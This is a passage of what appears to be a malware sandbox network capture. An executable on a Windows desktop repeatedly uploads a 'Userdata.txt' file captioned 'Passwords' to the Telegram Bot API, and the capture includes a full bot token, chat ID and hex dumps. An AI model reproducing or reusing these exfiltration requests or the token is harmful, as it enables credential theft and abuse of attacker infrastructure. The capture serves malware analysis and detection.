2025-01-10 18:57:15 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 36 39 35 39 38 38 63 39 65 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd33695988c9e0Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:57:16 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:57:16 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 18:57:16 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 32 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 34 33 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44629,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535436,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.9	50030	149.154.167.220	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:57:17 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd338331fbf071 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 18:57:17 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 38 33 33 31 66 62 66 30 37 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd338331fbf071Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:57:17 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:57:17 GMT Content-Type: application/json Content-Length: 535 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 18:57:17 UTC	535	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 33 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 34 33 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44630,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535437,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.9	50032	149.154.167.220	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:57:19 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3399184f1d9f Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 18:57:19 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 39 39 31 38 34 66 31 64 39 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3399184f1d9fContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:57:19 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:57:19 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 18:57:19 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 33 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 34 33 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44631,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535439,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.9	50034	149.154.167.220	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:57:20 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd33b17f5f6303 Host: api.telegram.org Content-Length: 1090
2025-01-10 18:57:20 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 62 31 37 66 35 66 36 33 30 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd33b17f5f6303Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:57:21 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:57:21 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 18:57:21 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 33 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 34 34 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44632,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535441,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.9	50036	149.154.167.220	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:57:23 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd33d7e388cba5 Host: api.telegram.org Content-Length: 1090
2025-01-10 18:57:23 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 64 37 65 33 38 38 63 62 61 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd33d7e388cba5Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:57:23 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:57:23 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 18:57:23 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 33 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 34 34 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44633,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535443,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.9	50038	149.154.167.220	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:57:24 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd33f3f04ae1a8 Host: api.telegram.org Content-Length: 1090
2025-01-10 18:57:24 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 66 33 66 30 34 61 65 31 61 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd33f3f04ae1a8Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:57:25 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:57:25 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 18:57:25 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 33 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 34 34 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44634,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535445,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.9	50040	149.154.167.220	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:57:26 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3418cac0da0c Host: api.telegram.org Content-Length: 1090
2025-01-10 18:57:26 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 34 31 38 63 61 63 30 64 61 30 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3418cac0da0cContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:57:26 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:57:26 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 18:57:26 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 33 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 34 34 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44635,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535446,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.9	50042	149.154.167.220	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:57:29 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd344def382758 Host: api.telegram.org Content-Length: 1090
2025-01-10 18:57:29 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 34 34 64 65 66 33 38 32 37 35 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd344def382758Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:57:29 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:57:29 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
